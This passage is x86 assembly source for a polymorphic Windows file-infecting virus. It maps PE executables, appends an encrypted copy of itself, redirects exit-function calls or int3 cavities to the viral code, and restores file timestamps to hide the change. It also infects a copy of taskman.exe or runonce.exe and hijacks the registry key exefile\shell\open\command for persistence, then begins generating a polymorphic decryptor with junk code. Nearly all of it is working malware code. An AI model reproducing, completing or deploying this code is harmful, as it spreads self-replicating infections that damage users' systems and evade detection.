                    jmp   CloseSetDateAttrib
            .ENDIF
            Call    trunc_file

            
            push   esi              ; esi == 0
            push   ecx                                          
            push   esi
            push   PAGE_READWRITE	
            push   esi
            push   dword ptr [ebp+hFile]
            lea    eax,[ebp+szCreateFileMappingA]
            call   K32Api

            test   eax,eax
            jz    ErrMap1
            mov    dword ptr [ebp +hMap],eax
            

            
            push   esi
            push   esi
            push   esi
            push   FILE_MAP_ALL_ACCESS             
            push   dword ptr [ebp+hMap]
            lea    eax,[ebp+szMapViewOfFile]
            call   K32Api
            test   eax,eax
            jz    ErrMap2
            
            mov    dword ptr [ebp +pMap],eax

            mov    edi,[eax+3ch]
            add    edi,eax


            mov    dword ptr [ebp + PEheader],edi
            push   dword ptr [edi].OptionalHeader.ImageBase
            pop    dword ptr [ebp + ImageBase]
            ;mov    eax, dword ptr [edi].OptionalHeader.SectionAlignment
            ;mov    dword ptr [ebp + SectionAlignment], eax

            movzx esi, word ptr [edi].FileHeader.SizeOfOptionalHeader
            lea esi, [[edi].OptionalHeader + esi]           ; esi pointe sur le premier IMAGE_SECTION_HEADER
            


            movzx eax, word ptr [[edi].FileHeader.NumberOfSections]
            dec   eax
            imul  eax,eax,sizeof IMAGE_SECTION_HEADER
           
            add   esi,eax  ; esi pointe sur le dernier IMAGE_SECTION_HEADER 
            
            assume esi:ptr IMAGE_SECTION_HEADER

            
            lea    ebx,[ebp + szExitProcess]
            lea    edx,[ebp + Kernel]
            Call   CheckFunctionImported
            mov    dword ptr [ebp + _Exit1],eax       
            lea    ebx,[ebp + exit]
            xor    edx,edx
            Call   CheckFunctionImported
            mov    dword ptr [ebp + _Exit2],eax  
            xor    edx,edx
            lea    ebx,[ebp + _exit]
            Call   CheckFunctionImported
            mov    dword ptr [ebp + _Exit3],eax

            cmp   dword ptr [ebp + _Exit1],0 
            jnz   PatchPlz
            cmp   dword ptr [ebp + _Exit2],0 
            jnz   PatchPlz 
            cmp   dword ptr [ebp + _Exit3],0 
            jnz   PatchPlz  

            jmp   CannotPatch
            
          PatchPlz:
            Call    PatchExitFunc
            or      eax,eax
            jnz     PatchOk

          CannotPatch:   
            Call    UnMap                      ; No Know Exit function, Resize File & quit...

            mov     ecx,dword ptr [ebp + OldSize]
            Call    trunc_file

            xor     edx,edx    
            pop     dword ptr fs:[edx]
            add     esp, 4

             ;db 0BCh
             ;_Inf_ESP3 dd 0 
             ;db 0BDh
             ;_Inf_EBP3 dd 0
            jmp     CloseSetDateAttrib
            
           PatchOk:  

            ;----
            Call   InitMemAccess    ; Get data section offset
            
            ;----
            or     [esi].Characteristics, 00000020h or 20000000h or 80000000h
            mov    eax, [[esi].PointerToRawData]
            or     eax,eax
            jz     ErrInf

            inc    byte ptr [ebp+InfectionCtr]

            add    eax,dword ptr [ebp + pMap]                   ;eax pointe sur le début de la derniere section
            add    eax,dword ptr [ebp + SizeRelative]         ;eax pointe sur la fin de la derniere section

            mov    edi, eax
            
            push   esi
            
            mov    dword ptr [ebp + FileOFFSET],edi    

            push   PAGE_EXECUTE_READWRITE
            push   MEM_RESERVE or MEM_COMMIT
            push   MAX_POLY_SIZE
            push   0
            lea    eax, dword ptr [ebp + szVirtualAlloc]
            Call   K32Api

            mov    dword ptr [ebp + pAlloc],eax
            
           @@:
            mov    edi, dword ptr [ebp + pAlloc]

            
            mov    ecx, CryptSize                       ; Size of the virus to encrypt
            lea    esi, [ebp+VirusStart]
            xor    edx,edx
            push   ebx
            Call   PolyMain
            pop    ebx

            cmp    dword ptr [ebp + PolyErrFlag], 1
            jz     @B                                   ; repair if a non-fatal error occured during polymorphism generation
            cmp    byte ptr [ebp + PolyMainErr], 0      ; rebuild all code if a fatal error occured
            jnz    @B


            
            
            mov    edi, dword ptr [ebp + FileOFFSET]
            push   ecx
            shr    ecx, 2
            inc    ecx
            
            rep    movsd                               ; Copy polymorphic virus to file 


            Call   UnMap
            pop    ecx
            mov    eax, dword ptr [ebp + OldSize]
            mov    dword ptr [ebp + OldSize], ecx
            add    eax, ecx
            add    eax, 1000;--------------------------------------------------

            
            mov    ecx,dword ptr [ebp + FAlignment]
            call    _Align
            mov    ecx,eax                 
           
            Call   trunc_file
            
            xor    esi, esi
            push   esi              ; esi == 0
            push   ecx                                          
            push   esi
            push   PAGE_READWRITE	
            push   esi
            push   dword ptr [ebp+hFile]
            lea    eax,[ebp+szCreateFileMappingA]
            call   K32Api

            test   eax,eax
            jz    ErrMap1
            mov    dword ptr [ebp +hMap],eax
            

            
            push   esi
            push   esi
            push   esi
            push   FILE_MAP_ALL_ACCESS             
            push   dword ptr [ebp+hMap]
            lea    eax,[ebp+szMapViewOfFile]
            call   K32Api
            test   eax,eax
            jz    ErrMap2
            
            mov    dword ptr [ebp +pMap],eax

            mov    edi,[eax+3ch]
            add    edi,eax
            mov    dword ptr [ebp + PEheader],edi
            movzx  esi, word ptr [edi].FileHeader.SizeOfOptionalHeader
            lea    esi, [[edi].OptionalHeader + esi]           ; esi pointe sur le premier IMAGE_SECTION_HEADER
            movzx  eax, word ptr [[edi].FileHeader.NumberOfSections]
            dec    eax
            imul   eax,eax,sizeof IMAGE_SECTION_HEADER
            add    esi,eax  ; esi pointe sur le dernier IMAGE_SECTION_HEADER 
            pop    eax
            
            mov    ecx, dword ptr [ebp + SizeRelative]
            add    ecx, dword ptr [ebp + OldSize]
            mov    [esi].SizeOfRawData,ecx
            mov    [esi].Misc.VirtualSize,ecx
            mov    edi, dword ptr [ebp + PEheader]
            mov    eax,[esi].SizeOfRawData
            add    eax,[esi].VirtualAddress
            mov    [edi].OptionalHeader.SizeOfImage,eax

            ;---
            push   MEM_DECOMMIT or MEM_RELEASE	
            push   MAX_POLY_SIZE
            push   dword ptr [ebp + pAlloc]
            lea    eax, dword ptr [ebp + szVirtualFree]
            Call   K32Api


            ;mov    edi, dword ptr [ebp + PEheader]
            mov    ecx, dword ptr [edi].OptionalHeader.CheckSum      ; Recalculate Checksum if needed
            jecxz  AfterCopy                ; Skip Checksum
            
            lea    eax, dword ptr [ebp + IMAGEHLP]
            push   eax
            lea    eax, dword ptr [ebp + szLoadLibraryA]
            Call   K32Api
            or     eax, eax
            jz     AfterCopy
            
            mov    ebx, eax

            lea    eax, dword ptr [ebp + szCheckSumMappedFile]
            push   eax
            push   ebx
            Call   dword ptr [ebp + _GetProcAddress] 

            or     eax, eax
            jz     FreeIMGHLP
            
            cmp    byte ptr [eax], 0CCh
            jz     ZeroShit
            
            push   eax
            xor    eax,eax
            push   eax
            push   dword ptr [ebp + hFile]
            lea    eax, dword ptr [ebp+szGetFileSize]
            call   K32Api
            pop    edx


            lea     ecx, dword ptr [edi].OptionalHeader.CheckSum
            push    ecx                     ; New Checksum
            Call    @F
            dd      ?                       ; Old Checksum         
           @@: 
            push   eax                      ; FileSize
            push   dword ptr [ebp + pMap]   ; MapAddr
            Call   edx                      ; Call CheckSumMappedFile

          FreeIMGHLP:
            push   ebx
            lea    eax, dword ptr [ebp + szFreeLibrary]
            Call   K32Api
            
            AfterCopy:

            
            ErrInf:



inf_main_handler:

      xor     edx,edx    
      pop     dword ptr fs:[edx]
      
     db 0BCh
     _Inf_ESP dd 0 
     db 0BDh
     _Inf_EBP dd 0

   
            and    byte ptr [ebp + _SizeTestFailed], 0    ; Clear error           
            
            push   dword ptr [ebp+pMap]
            lea    eax,dword ptr [ebp+szUnmapViewOfFile]
            call   K32Api
            
           ErrMap2:
            push   dword ptr [ebp+hMap]
            lea    eax, dword ptr [ebp+szCloseHandle]
            call   K32Api

            CloseSetDateAttrib:
            lea    eax,dword ptr [ebp + LastWriteTime]
            push   eax
            lea    eax,dword ptr [ebp + LastAccessTime]
            push   eax
            lea    eax,dword ptr [ebp + CreationTime]
            push   eax
            push   dword ptr [ebp+hFile]               
            lea    eax, dword ptr [ebp + szSetFileTime]
            Call   K32Api

           ErrMap1:


            push   dword ptr [ebp+hFile]
            lea    eax, dword ptr [ebp+szCloseHandle]
            call   K32Api
           ErrOpen:

            

            push   dword ptr [ebp + OriginalAttributes]
            push   dword ptr [ebp + pFileName]
            lea    eax, dword ptr [ebp + szSetFileAttributesA]
            Call   K32Api
                        
            ;assume edi:nothing
            ;assume esi:nothing

            push    dword ptr [ebp + InfEvent]
            lea     eax, dword ptr [ebp + szSetEvent]  ; We did the job
            Call    K32Api
            
            cmp    byte ptr [ebp + _SizeTestFailed], 0
            jnz    Infect2nd





            popad
            ret
    infect  endp    


_MainHostFile db 0
_MainHostFileName dd 0

CheckInfectionTimeOutThread:

            db      0BDh
ThreadDelta dd      00000000h


            push    3000                               ; TimeOut
            push    dword ptr [ebp + InfEvent]
            lea     eax, dword ptr [ebp + szWaitForSingleObject]
            Call    K32Api

            
            .IF     eax == WAIT_TIMEOUT                 ; infection hanged
                    .IF  byte ptr [ebp + _MainHostFile] == 1
                    
                         Call ReDoMainHost

                    .ELSE
                          xor  eax, eax
                          dec  dword ptr [eax]                ; Make fault then clear Mem and quit
                    .ENDIF
            .ENDIF

            push    dword ptr [ebp + InfEvent]
            lea     eax, dword ptr [ebp + szCloseHandle]
            Call    K32Api       
            
            push    eax
            lea     eax, dword ptr [ebp + szExitThread]
            Call    K32Api
            ret

ReDoMainHost:
            Call   UnMap
            
            push   dword ptr [ebp+hFile] 
            lea    eax, dword ptr [ebp + szCloseHandle]
            Call   K32Api
            
            push    dword ptr [ebp + _MainHostFileName]
            lea     eax, dword ptr [ebp + szDeleteFileA]
            Call    K32Api
            Call    SetupRegHook
            ret
                          
InfEvent                      dd 0
CheckInfectionTimeOutThreadID dd 0

NTTargetFile   db  "taskman.exe",0
W9xTargetFile  db  "runonce.exe",0

CompNameSize dd MAX_COMPUTERNAME_LENGTH + 1
LenWinDirStr    dd  0
szKeyName     db  'exefile\shell\open\command',0
szRegHook     db  ' "%1" %*',0
Disp          dd    0
pKey          dd    0
WinVer        dd    0

;REGHOOK
;-------------------------------------------- install reg HOOK Procedures ---------------------------
SetupRegHook   proc

      sub    esp, 800h                 ; get some mem
      mov    eax, esp
      push   0FFh                       ; Dir size
      push   eax                        ; buffer
      lea    eax, dword ptr [ebp + szGetSystemDirectoryA]
      Call   K32Api

      
      mov    edi, esp
      xor    ecx, ecx
     ReachNull:
      inc    ecx
      inc    edi
      cmp    byte ptr [edi], 0          ; 
      jnz    ReachNull

      mov    dword ptr [ebp + LenWinDirStr], ecx
      
      mov    byte ptr [edi], '\'
      inc    edi
      .IF    dword ptr [ebp + WinVer] ==  VER_PLATFORM_WIN32_NT 
             lea    esi, dword ptr [ebp + NTTargetFile]
      .ELSE
             lea    esi, dword ptr [ebp + W9xTargetFile]
      .ENDIF
      
     @@:
      lodsb
      stosb
      or     al,al
      jnz    @B

      
      mov    edi, esp                                ; eax pointer to %systemroot%\target.exe
      mov    esi, edi
      add    esi, 0FFh
      push   esi
      push   edi
      lea    eax, dword ptr [ebp + szFindFirstFileA]
      Call   K32Api
      
      push   eax
      push   eax
      lea    eax, dword ptr [ebp + szFindClose]
      Call   K32Api
      pop    eax
      
      inc    eax
      jnz    @F                         ; not in this dir?
      mov    edi, esp
      push   0FFh                       ; Dir size
      push   edi                        ; buffer
      lea    eax, dword ptr [ebp + szGetWindowsDirectoryA]
      Call   K32Api
      xor    ecx, ecx
      jmp    ReachNull
     @@:





      
      mov    ebx, esi
      add    ebx, SIZEOF WIN32_FIND_DATA



      .IF    dword ptr [ebp + WinVer]     ==  VER_PLATFORM_WIN32_NT  ; infect a copy of rundll on NT because SFC...

            mov    dword ptr [ebp + CompNameSize], MAX_COMPUTERNAME_LENGTH + 1
            lea    eax, dword ptr [ebp + CompNameSize]
            push   eax
            push   ebx
            lea    eax, dword ptr [ebp + szGetComputerNameA]
            Call   K32Api

            push    ebx
            mov     eax, ebx
            xor     ecx, ecx
           invert:
            mov     dl,  byte ptr [eax+ecx]
             
            .IF     dl  == 0
                    jmp  CopyNow
            .ELSEIF dl >= 41h && dl <= 5Ah
                    sub  dl, 41h
                    mov  bl, 25
                    sub  bl, dl
                    mov  dl, 41h
                    add  dl, bl

            .ELSEIF dl >= 61h && dl <= 7Ah
                    sub  dl, 61h
                    mov  bl, 25
                    sub  bl, dl
                    mov  dl, 61h
                    add  dl, bl

            .ENDIF
            
            mov     byte ptr [eax+ecx], dl
            inc     ecx
            jmp     invert
            
          CopyNow:
            pop    ebx
            mov    esi, esp
            mov    edi, ebx
            add    edi, MAX_COMPUTERNAME_LENGTH + 1
            push   edi
            mov    ecx, dword ptr [ebp + LenWinDirStr]
            rep    movsb
            mov    byte ptr [edi], '\'
            inc    edi
            mov    esi, ebx
           @@:
            lodsb
            stosb
            or     al,al
            jnz    @B
            pop    edi
            mov    eax, edi
            mov    edi, esp

            
            push   eax
            push   1                                        
            push   eax
            push   edi
            lea    eax, dword ptr [ebp + szCopyFileA]       ; Copy the file
            Call   K32Api                                ; 
            pop    eax          ; WinNt, 2000, XP : infect copy

      .ELSE                     ; Win9x infect directly rundll32.exe
      

            mov     eax, esp    ; infect original file
            
      .ENDIF         

      push   eax                ; eax can be either a pointer to the full path of
                                ; runonce.exe (win9x) or a pointer to a "reversed" computername exe path (NT)
                                


      mov    dword ptr [ebp + _MainHostFileName], eax


      mov    byte ptr [ebp + _MainHostFile], 1
      Call   infect                  ; infect it ! (Wont infect if we are running from it)
      mov    byte ptr [ebp + _MainHostFile], 0
      pop    edi
                    
      assume ebx : nothing
   

           
      lea     eax, dword ptr [ebp + Disp]
      push    eax
      lea     eax, dword ptr [ebp + pKey]
      push    eax
      xor     eax, eax
      push    eax
      push    KEY_ALL_ACCESS
      push    REG_OPTION_NON_VOLATILE         
      push    eax
      push    eax
      lea     eax, dword ptr [ebp + szKeyName]
      push    eax
      push    HKEY_CLASSES_ROOT
      lea     eax, dword ptr [ebp + szRegCreateKeyExA]
      Call    ADVAPI32Api

      lea     esi, dword ptr [ebp + szRegHook]
      mov     eax, edi
      call    _strlen
      push    edi
      add     edi, eax
      mov     ecx, eax
     @@:
      lodsb
      stosb
      inc     ecx
      or      al,al
      jnz     @B
      pop     edi

      
      push    ecx                                   ; <- size of hookstring
      push    edi                                   ; hookstring
      push    REG_SZ
      xor     eax, eax
      push    eax
      push    eax
      push    dword ptr [ebp + pKey]
      lea     eax, dword ptr [ebp + szRegSetValueExA]
      Call    ADVAPI32Api    

      push    dword ptr [ebp + pKey]
      lea     eax, dword ptr [ebp + szRegCloseKey]
      Call    ADVAPI32Api 
            

      add    esp, 800h 
      ret


SetupRegHook    endp






   




;
;
;in: esi = pFileMap
;in: edi = RVA
;
;out: eax = File offset
;

     RVAToOffset PROC uses edi esi ecx  
      
         assume esi:ptr IMAGE_DOS_HEADER 
         add esi,[esi].e_lfanew 
         assume esi:ptr IMAGE_NT_HEADERS 
       
         mov edx,esi 
         add edx,sizeof IMAGE_NT_HEADERS 
 
         movzx ecx,[esi].FileHeader.NumberOfSections 
         assume edx:ptr IMAGE_SECTION_HEADER 
         .while ecx>0 ; check all sections 
           .if edi>=[edx].VirtualAddress 
             mov eax,[edx].VirtualAddress 
             add eax,[edx].SizeOfRawData 
             .if edi<eax ; The address is in this section 
               mov dword ptr [ebp + SecHeader],edx              ; save section where we found the address

               sub edi, [edx].VirtualAddress
               mov eax,[edx].PointerToRawData 
               add eax,edi ; eax == file offset 
               ret 
             .endif 
           .endif 
           add edx,sizeof IMAGE_SECTION_HEADER 
           dec ecx                      ; next section
         .endw 
         ;assume edx:nothing 
         assume esi:nothing 
         mov eax,edi 
         ret 
         
     RVAToOffset endp 


CheckFunctionImported proc
    
            push   esi
            push   edi
            mov   edi,dword ptr [ebp + PEheader]
            mov   edi, [edi].OptionalHeader.DataDirectory[sizeof IMAGE_DATA_DIRECTORY].VirtualAddress 
            mov   esi,dword ptr [ebp + pMap]
            push  edx
            Call  RVAToOffset
            pop   edx
            add   eax,dword ptr [ebp + pMap]
            mov    edi,eax
            assume edi:ptr IMAGE_IMPORT_DESCRIPTOR 


                .while !([edi].OriginalFirstThunk==0 && [edi].TimeDateStamp==0 \
                               && [edi].ForwarderChain==0 && [edi].Name1==0 \
                               && [edi].FirstThunk==0)


                            or    edx,edx
                            jz    ModScan

                            push  edi
                            push  esi
                            mov   edi,[edi].Name1
                            mov   esi,dword ptr [ebp + pMap]
                            push  edx
                            Call  RVAToOffset
                            pop   edx
                            add   eax, dword ptr [ebp + pMap]
                            pop   esi
                            pop   edi

                            Call  _ToLower

                            push   edi
                            push   esi
                            mov    esi,edx 
                            mov    edi,eax
                            Call   _strlen
                            mov    ecx,eax
                            repz   cmpsb                ; Compare Modules
                            pop    esi
                            pop    edi
                            
                            or     ecx,ecx
                            jnz    NextModule
                         ModScan:
                            and    dword ptr [ebp + ThunkIndex],0



                    .if [edi].OriginalFirstThunk==0 
                        mov esi,[edi].FirstThunk 
                    .else 
                         mov esi,[edi].OriginalFirstThunk 
                    .endif

                            push  edi
                            mov   edi,esi
                            mov   esi,dword ptr [ebp + pMap]
                            push  edx
                            Call  RVAToOffset
                            pop   edx
                            pop   edi
                            add   eax, dword ptr [ebp + pMap]
                            mov   esi,eax 



            
                       .while dword ptr [esi] != 0

                            test dword ptr [esi],IMAGE_ORDINAL_FLAG32 
                            jnz  NotExitProcess
                                                        
                            push  edi
                            push  esi
                            mov   edi,[esi]
                            mov   esi,dword ptr [ebp + pMap]
                            push  edx
                            Call  RVAToOffset
                            pop   edx
                            add   eax, dword ptr [ebp + pMap]
                            pop   esi
                            pop   edi


                            
                            assume eax : ptr IMAGE_IMPORT_BY_NAME 

                            push  edi
                            push  esi
                            
                            push  eax
                            lea   eax,[eax].Name1
                            
                            Call  _strlen
                            mov   ecx,eax
                            pop   eax
                            lea   edi,[eax].Name1
                            mov   esi,ebx      
                            repz  cmpsb
                            pop   esi
                            pop   edi
                                   
                            or    ecx,ecx
                            jnz   NotExitProcess

                            
                            mov eax, dword ptr [edi].FirstThunk
                            add eax, dword ptr [ebp + ThunkIndex]
                            add eax, dword ptr [ebp + ImageBase]    ; eax = thunk to available exitfunc
                            
                            jmp   ExitFound
                            

                                               
                     NotExitProcess:
                     add  dword ptr [ebp + ThunkIndex],4
                     add  esi,4
                     .endw
                     NextModule:
                     add edi,sizeof IMAGE_IMPORT_DESCRIPTOR             
                 .endw

            xor    eax,eax
            ExitFound:
            pop    edi
            pop    esi

            ret
            
    CheckFunctionImported endp

    Int3InsideCodeOffset    dd  0


PatchExitFunc   proc
            pushad
            and     dword ptr [ebp + Int3InsideCodeOffset], 0




            
            assume    esi : ptr IMAGE_SECTION_HEADER 
            assume    edi: ptr IMAGE_NT_HEADERS


            push      dword ptr [[edi].OptionalHeader.ImageBase]
            pop       dword ptr [ebp + HostBase]
            
            movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader]
            lea esi, [[edi].OptionalHeader + esi]           ; esi pointe sur le premier IMAGE_SECTION_HEADER*



            mov    edx,esi
            assume edx : ptr IMAGE_SECTION_HEADER            
            mov    eax,[esi].PointerToRawData
            mov    ebx,dword ptr [ebp + pMap]           
            lea    esi, [ebx  + eax]  
            push   esi
            mov    ecx,[edx].Misc.VirtualSize
            
            cmp    dword ptr [edx],'0XPU'           ; Can't infect UPX
            jz     ExitScan

            push   esi
            push   ecx
SearchCavity: 

            lodsd
		cmp    eax, 0CCCCCCCCh
            jz     Int3InsideCode?                  ; int 3 for our jmp/call ?
NextCavity: jecxz  @Restore
            sub    ecx, 4
            jns    SearchCavity
   @Restore: 
            pop    ecx
            pop    esi
            
SearchCall: push   ecx
            
            lodsb

		 cmp    al,0FFh	              
		 jz     Call_op?

NextCall:   pop     ecx
            dec    ecx
            jnz    SearchCall    

ExitScan:                

            pop    esi

            popad
            mov    eax, dword ptr [ebp + Patched?]
            ret 
            
Int3InsideCode?:
            cmp    byte ptr [esi], 0CCh
            jnz    @F
            sub    esi, 4
            mov    dword ptr [ebp + Int3InsideCodeOffset], esi
            xor    ecx, ecx
           @@:
            jmp    NextCavity
 Call_op?:

            cmp    byte ptr [esi],15h
            jz     CheckExitProcess

            cmp    byte ptr [esi],25h
            jnz    NextCall   
        CheckExitProcess:

            mov    eax,dword ptr [esi+1]        ; ImageBase + FirstThunk+ThunkIndex

            cmp     dword ptr [ebp + _Exit1],eax
            jz      GOT1
            cmp     dword ptr [ebp + _Exit2],eax
            jz      GOT1
            cmp     dword ptr [ebp + _Exit3],eax
            jz      GOT1
            
        
            jmp     NextCall
           GOT1:
            or      eax,eax
            jz      NextCall


            Call    ApplyPatch

            jmp     NextCall




    PatchExitFunc   endp  
 

    ApplyPatch      proc uses esi

            push      esi


            mov       edi,dword ptr [ebp+PEheader]      ; goto PEhdr
            
  
                
            assume  edi:ptr IMAGE_NT_HEADERS
            movzx esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader]
            lea esi, [[edi].OptionalHeader + esi]           ; esi pointe sur le premier IMAGE_SECTION_HEADER

            
            movzx  eax, word ptr [edi].FileHeader.NumberOfSections
            dec    eax
            imul   eax,eax,28h
            add    esi,eax

                        
            mov    eax,dword ptr [ebp + Size2Align]
            add    eax,[esi].VirtualAddress
            sub    eax,dword ptr [esi].PointerToRawData
            add    eax,dword ptr [edi].OptionalHeader.ImageBase     ; eax = VirusOffset VA



            mov     dword ptr [ebp + Patched?],1
            pop     esi
            
            mov     ecx, dword ptr [ebp + Int3InsideCodeOffset]
            
            .IF     ecx  == 0
                    mov     byte ptr [esi-1],68h
                    mov     dword ptr [esi],eax                            ; Patch !!!
                    mov     byte ptr [esi+4],0C3h
            .ELSE
                    push    eax
                    mov     dword ptr [ecx], eax
                    sub     ecx, dword ptr [ebp + pMap]
                    push    esi
                    movzx   esi, word ptr [[edi].FileHeader.SizeOfOptionalHeader]
                    lea     esi, [[edi].OptionalHeader + esi]  
                    add     ecx, [esi].VirtualAddress
                    sub     ecx, [esi].PointerToRawData
                    add     ecx, dword ptr [ebp + HostBase]
                    pop     esi
                    mov     dword ptr [esi+1], ecx                           ; Patch !!!
                    mov     ecx, dword ptr [ebp + Int3InsideCodeOffset]
                    mov     esi, ecx
                   @@:
                    dec     esi
                    call    Random32
                    cmp     byte ptr [esi], 0CCh
                    jnz     @F
                    mov     byte ptr [esi], al
                    jmp     @B
                   @@:
                    mov     esi, ecx
                    add     esi, 3
                   @@:
                    inc     esi
                    call    Random32
                    cmp     byte ptr [esi], 0CCh
                    jnz     @F
                    mov     byte ptr [esi], al
                    jmp     @B
                   @@:
                    pop     eax     
            .ENDIF
            
            sub     eax, OFFSET VirusStart         
            mov     dword ptr [ebp + @Delta],eax                    ; Pre-computed delta offset


            ret
    ApplyPatch      endp 
    UnMap   proc

            push   dword ptr [ebp+pMap]
            lea    eax,dword ptr [ebp+szUnmapViewOfFile]          ; UnMAP
            call   K32Api

            push   dword ptr [ebp+hMap]
            lea    eax, dword ptr [ebp+szCloseHandle]
            call   K32Api
            
            ret
    UnMap   endp



    trunc_file proc
       
            push   ecx
                   
            xor    esi,esi
            push   esi
            push   esi
            push   ecx
            push   dword ptr [ebp + hFile]
            lea    eax, dword ptr [ebp+szSetFilePointer]
            Call   K32Api
            
            push   dword ptr [ebp + hFile]
            lea    eax, dword ptr [ebp+szSetEndOfFile]
            Call   K32Api
              
            pop    ecx
            ret

    trunc_file endp
       
    _Align   proc
    
            push    edx
            xor     edx,edx
            push    eax
            div     ecx
            pop     eax
            sub     ecx,edx
            add     eax,ecx
            pop     edx
            ret
    _Align   endp

    _strlen  proc

            
             push  ecx 
             xor   ecx,ecx
             @@:
             inc   ecx
             cmp   byte ptr [eax + ecx],0
             jnz   @b
             mov   eax,ecx
             pop   ecx
             ret
   
   _strlen  endp
   

   _ToLower proc


             push esi
             push ecx
             mov  esi,eax
             Call _strlen
             mov  ecx,eax
             
             
           @NextCh:
             mov  al,byte ptr [esi+ecx]
             cmp  al,41h
             jb   @F
             cmp  al,5Ah
             ja   @F
             add  al,32
             mov  byte ptr [esi+ecx],al             
           @@:
             dec  ecx
             jns  @NextCh

             mov  eax,esi
             pop  ecx
             pop  esi
             
             ret
   _ToLower endp
   


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; POLY VARS



@Delta      dd      0
PolyBuf     dd      0
PolySize    dd      0

JmpShort?   db      0
PolyMainErr db      0
FileOFFSET  dd      0

What2encrypt dd     0
SizeOfWhat2encrypt dd   0
;RVA_What2encrypt    dd  0

base_reg    db      0       ; CRYPTOR REGS
key_reg     db      1       ;
counter_reg db      2       ;
cypher_reg  db      7       ;
garb_reg1   db      3       ; GARBAGE
garb_reg2   db      5       ;
garb_reg3   db      6       ;
dummy        db      0


;Key         dd      0       ; Cryptor Key Stored
BaseOFS     dd      0       ; Base Offset for later relocation
LoopOFS     dd      0       ; Begin of Offset to jump (decryption)    
CryptorPatch dd     0       ;
;JunkDataSize dd     0

;pBranchBuf  dd      0
;BranchCodeSize  dd      0

REG_EAX     dd      0       ; Registers to restore when exception occurs 
REG_ECX     dd      0
REG_EDX     dd      0
REG_EBX     dd      0
REG_ESI     dd      0
REG_EDI     dd      0
;REG_ESP     dd      0




PolyMain    proc

      mov   dword ptr [ebp + PolyBuf], edi

      mov   dword ptr [ebp + What2encrypt], esi
      mov   dword ptr [ebp + SizeOfWhat2encrypt], ecx
      and   byte ptr [ebp + WtLp_Called], 0
      and   word ptr [ebp + _garb1_reserved], 0
      mov   byte ptr [ebp + PolyMainErr], 1             ; init error
      
      ;---
       lea     eax,[PolyMain_handlder+ebp]                ; Setup SEH frame for poly error handling
       push    eax        
       mov     dword ptr [ebp + PolyMainDelta],ebp       ; Save Delta 
       mov     dword ptr [ebp + PolyMainStack],esp      ; Save Stack
       xor     edx,edx                         
       push    dword ptr fs:[edx]            
       mov     dword ptr fs:[edx],esp


      Call  PolyCryptor                         ; Create PolyCryptor

      mov   eax,edi
      sub   edi, dword ptr [ebp + PolyBuf]      ; Get size of generated PolyCryptor
      mov   dword ptr [ebp + PolySize],edi
      mov    edx,edi
      push   edx
      push   edi
      Call   EncryptVirus                      ; Call Polymorphic Encryption Routine
      pop    ecx
      pop    edx
      mov   eax,dword ptr [ebp + BaseOFS]
      add   dword ptr [eax],edi                 ; adjust base offset

      dec   byte ptr [ebp + PolyMainErr]        ; if we are here no fatal-error occured
      ;---
    PolyMain_handlder:
      db      0BCh
    PolyMainStack   dd      00000000h                 ; Restore Stack
      xor     eax,eax    
      pop     dword ptr fs:[eax] 
      db      0BDh
    PolyMainDelta dd 00000000h                         ; Restore Delta

      ;---     

      add   ecx, dword ptr [ebp + SizeOfWhat2encrypt]   ; return ecx == size of generated polycode
      mov   esi, dword ptr [ebp + PolyBuf]
      mov   eax, dword ptr [ebp + PolyErrFlag]
      ret
PolyMain    endp


PolyCryptor proc
   
        
        Call   GetRegs          ; Get Cryptor Regs


        ;Call   InitMemAccess    ; Get data section offset
        ;Call   GetRandomDataOFS ; init defaut mem aera


        ;Call   GetRandomDataOFS
        ;mov    cl, byte ptr [ebp + garb_reg3]
        ;mov    byte ptr [ebp + _REG_OPCODE], cl
        ;Call   EncodeMemLocation
        ;CALL   GEN_LEA_REG32_DISP32

        Call   Make_Random_Blk;-**-

        
        Call   SetSeq           ; First 3 decryptor instructions can have 6 different sequence


        Call   Random32
        jp     CRYPT_GEN_MOV_REG32_MEM_REG32
        
        mov    cl,byte ptr [ebp + base_reg]       
        Call   GEN_PUSH_REGMEM32 

        Call   Make_Random_Blk;-**-

        mov    cl,byte ptr [ebp + cypher_reg]     
        Call   GEN_POP_REG32
        Call   Make_Random_Blk;-**-
        jmp    @F
        
    CRYPT_GEN_MOV_REG32_MEM_REG32:       
        mov    ch,byte ptr [ebp + base_reg]
        mov    cl,byte ptr [ebp + cypher_reg]
        Call   GEN_MOV_REG32_MEM_REG32
        Call   Make_Random_Blk;-**-
        ;****
    @@:
        ;***
        Call   CryptSeq         ;
        
        Call   Make_Random_Blk;-**-

        Call   Random32
        jp     CRYPT_GEN_MOV_MEM_REG32_REG32

        mov    cl,byte ptr [ebp + cypher_reg]       
        Call   GEN_PUSH_REG32 
        
        Call   Make_Random_Blk;-**-
        
        mov    cl,byte ptr [ebp + base_reg]
        Call   GEN_POP_REGMEM32
        Call   Make_Random_Blk;-**-
        jmp    @F
   CRYPT_GEN_MOV_MEM_REG32_REG32:
      
        mov    ch,byte ptr [ebp + base_reg]
        mov    cl,byte ptr [ebp + cypher_reg]
        Call   GEN_MOV_MEM_REG32_REG32  
        Call   Make_Random_Blk;-**-
        
   @@:

        
        push    4                                   ; ADD REG32,4
        pop     ebx
        .IF    byte ptr [ebp + CryptBackward] != 0
                neg ebx                                 ; ADD REG32,-4
        .ENDIF
        ;-------------------------------------------------------------     
        Call   HideConst                                ; Hide it
        ;------------------------------------------------------------- 
        
        Call   Make_Random_Blk;-**-
                            ; ebx is now hidden
        ;***
        Call   Random32
        jp     GOFORADD
        
        neg    ebx
        mov    cl,byte ptr [ebp + base_reg]
        Call   GEN_SUB_REG32_IMM
        Call   Make_Random_Blk;-**-
        
        jmp    @F
   GOFORADD:
        mov    cl,byte ptr [ebp + base_reg]
        Call   GEN_ADD_REG32_IMM
        Call   Make_Random_Blk;-**-
      @@:
        ;------------------------------------------------------------- 
        mov    cl,byte ptr [ebp + base_reg]
        Call   RestConst 
        ;-------------------------------------------------------------
        Call   Make_Random_Blk;-**-

        call   Random32
        jp     @F
        ;mov    byte ptr [ebp + UseDec], 1
        mov    cl,byte ptr [ebp + counter_reg]
        CAll   GEN_DEC_REG32
        jmp    @MakeJMP
       @@:
        ;mov    byte ptr [ebp + UseDec], 0
        xor    ebx,ebx                                    
        dec    ebx
        ;-------------------------------------------------------------     
        Call   HideConst 
        ;------------------------------------------------------------- 
        
        Call   Make_Random_Blk;-**-
